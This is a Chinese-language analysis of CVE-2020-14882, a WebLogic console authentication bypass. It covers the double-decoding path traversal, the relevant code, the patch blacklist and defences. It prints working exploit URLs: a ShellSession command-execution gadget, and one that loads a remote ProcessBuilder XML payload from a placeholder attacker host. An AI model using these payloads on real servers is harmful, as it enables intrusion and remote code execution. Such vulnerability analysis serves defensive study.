CVE-2020-14882 WebLogic越权绕过登录分析
字数 1386 2025-08-15 21:32:26
CVE-2020-14882 WebLogic越权绕过登录漏洞分析与利用
漏洞概述
CVE-2020-14882是Oracle WebLogic Server中的一个严重安全漏洞,允许攻击者绕过管理控制台的身份验证,直接访问后台资源并执行任意代码。该漏洞影响WebLogic 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本。
漏洞原理分析
权限控制机制
WebLogic管理控制台的权限控制主要通过以下流程实现:
- 请求处理入口:
weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法负责处理HTTP请求的安全检查 - 权限检查:调用
context.getSecurityManager().checkAccess()方法进行权限验证 - 资源约束检查:通过
WebAppSecurity#getConstraint()方法获取ResourceConstraint对象,描述URL访问权限 - 授权决策:最终在
WebAppSecurity#hasPermission方法中根据ResourceConstraint决定是否允许访问
对于静态资源(如CSS、JS文件),WebLogic会返回unrestricted的ResourceConstraint,允许无认证访问。
漏洞成因
漏洞的核心在于URL双重解码和路径遍历的结合:
-
双重URL解码:
- 第一层解码:HTTP服务器对URL进行标准解码
- 第二层解码:
UIServletInternal#getTree方法中的URLDecoder.decode对已解码的URL再次解码
-
路径遍历绕过:
- 攻击者使用双重编码的
../(%252E%252E%252F) - 第一次解码后变为
%2E%2E%2F - 第二次解码后变为
../ - 在
StandardURLMapping#get方法中匹配静态资源路径,但实际访问的是管理控制台路径
- 攻击者使用双重编码的
关键代码分析
// 权限检查入口
if(context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
// 允许访问
}
// 资源约束获取
ResourceConstraint resourceConstraint = checkAllResources ?
Holder.ALL_CONSTRAINT : this.getConstraint(request);
// URL匹配逻辑(StandardURLMapping#get)
public Object get(String path) {
path = path.length() == 0 ? "/" : this.cased(path);
Object value = null;
if((value = this.getExactOrPathMatch(path)) != null) {
return value;
} else {
return (value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
}
}
漏洞利用
WebLogic 12.x利用
使用com.tangosol.coherence.mvel2.sh.ShellSession gadget执行命令:
http://[target]:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
WebLogic 10.x利用
由于10.x版本缺少相关gadget,需使用FileSystemXmlApplicationContext加载远程XML:
http://[target]:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://[attacker]/spel.xml")
远程XML示例(spel.xml):
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
<property name="redirectErrorStream" value="true"/>
</bean>
<bean id="is" class="java.io.InputStream" factory-bean="pb" factory-method="getInputStream"/>
</beans>
补丁分析
Oracle通过黑名单方式修复此漏洞,在weblogic.servlet.internal.WebAppServletContext类中添加了危险字符检查:
private static final String[] IllegalUrl = new String[] {
"%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"
};
如果URL包含这些危险字符,请求将被直接拒绝。
防御建议
- 及时安装Oracle官方补丁
- 限制WebLogic管理控制台的网络访问
- 使用Web应用防火墙(WAF)拦截包含
%252E%252E等恶意字符串的请求 - 定期进行安全审计和漏洞扫描
总结
CVE-2020-14882漏洞利用WebLogic的URL双重解码特性和路径遍历漏洞,绕过身份验证检查。攻击者通过精心构造的URL使系统误判请求为静态资源访问,从而绕过权限检查。该漏洞危害性高,可导致远程代码执行,需引起高度重视。